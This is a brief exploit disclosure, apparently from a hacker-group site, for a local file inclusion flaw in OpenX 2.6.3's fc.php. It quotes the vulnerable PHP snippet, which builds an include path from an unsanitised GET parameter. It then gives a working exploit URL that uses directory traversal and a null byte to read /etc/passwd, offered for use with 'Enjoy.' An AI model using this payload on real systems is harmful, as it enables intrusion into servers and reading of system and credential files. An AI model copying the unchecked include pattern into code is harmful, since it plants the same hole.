I have found a local file inclusion exploit in OpenX 2.6.3, this is in the script "fc.php", located in /www/delivery/

Here is a snip of the code:
[snip]
include_once '../../init-delivery.php';
$MAX_PLUGINS_AD_PLUGIN_NAME = 'MAX_type';
if(!isset($_GET[$MAX_PLUGINS_AD_PLUGIN_NAME])) {
echo $MAX_PLUGINS_AD_PLUGIN_NAME . ' is not specified';
exit(1);
}
$tagName = $_GET[$MAX_PLUGINS_AD_PLUGIN_NAME];
$tagFileName = MAX_PATH . '/plugins/invocationTags/'.$tagName.'/'.$tagName.'.delivery.php';
if(!file_exists($tagFileName)) {
echo 'Invocation plugin delivery file "' . $tagFileName . '" doesn\'t exists';
exit(1);
}
include $tagFileName;
[/snip]

As you can see, it is checking whether the file you have inputted exists. This can be exploited like so:

http://host/path/to/openx/www/delivery/fc.php??MAX_type=../../../../../../../../../../../../../../etc/passwd%00

Enjoy.

-Charlie
[Elites0ft.com]